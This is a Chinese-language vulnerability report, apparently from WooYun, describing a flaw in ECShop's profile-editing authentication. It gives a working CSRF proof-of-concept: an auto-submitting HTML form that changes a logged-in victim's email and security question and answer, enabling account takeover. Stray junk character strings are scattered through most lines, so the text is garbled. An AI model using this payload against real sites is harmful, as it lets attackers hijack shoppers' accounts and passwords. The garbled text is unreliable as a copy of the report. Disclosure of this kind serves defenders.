简要描述:
7 F- n* c! H2 O: n* @ecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现: l: x) r, f4 c7 t
& K7 s1 H( q6 t& N t! W1 m, g: dDemo For:http://www.wooyun.org/bug.php?action=view&id=395
# x: k* u; A& T9 {* L l- v' Z4 a
{% ]& w( b8 x* n; _详细说明:7 `5 L7 r6 `' F2 v7 p8 q9 N
利用csrf和xss可以突破官方所说的“障碍”
( G, n& M' `, t4 b6 jxss版本已经有人说明
& a2 }. r% ~! N% f1 R" A! h: s7 U这里给出csrf版本
0 t( P, V5 K5 z, [" h( d* |" _6 O8 ?" c, K
漏洞证明:
* |% F1 i( c9 t6 p& T<html>) a, Q/ a1 C( N4 B( C5 X% f8 A
<body>, ^+ [ j$ U( d
<form action="http://www.wooyun.org/ecshop/user.php" method="POST"># o2 u' y7 O) c" A! f/ l
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">7 S; \: ]! U' j& H
<INPUT TYPE="text" NAME="act" value="act_edit_profile">9 D' y" X6 k# S7 D3 b
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
2 j& i+ b; |4 S( o3 `<INPUT TYPE="text" NAME="passwd_answer" value="exploit">' b) i: J# t: e- ]& x
</body>
, l* S( s9 v5 Q, P<script>
7 T3 U/ d+ A0 U1 ]" s8 H; g8 Edocument.forms[0].submit();
- Y" D& \1 D6 P* A</script>
W. o" h1 K" T1 c# H</html>
9 H( N! l) h: W构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失2 `( Z) |2 V- ~7 f2 r ?2 u( c
* J e$ D8 ~4 T/ t1 f# l |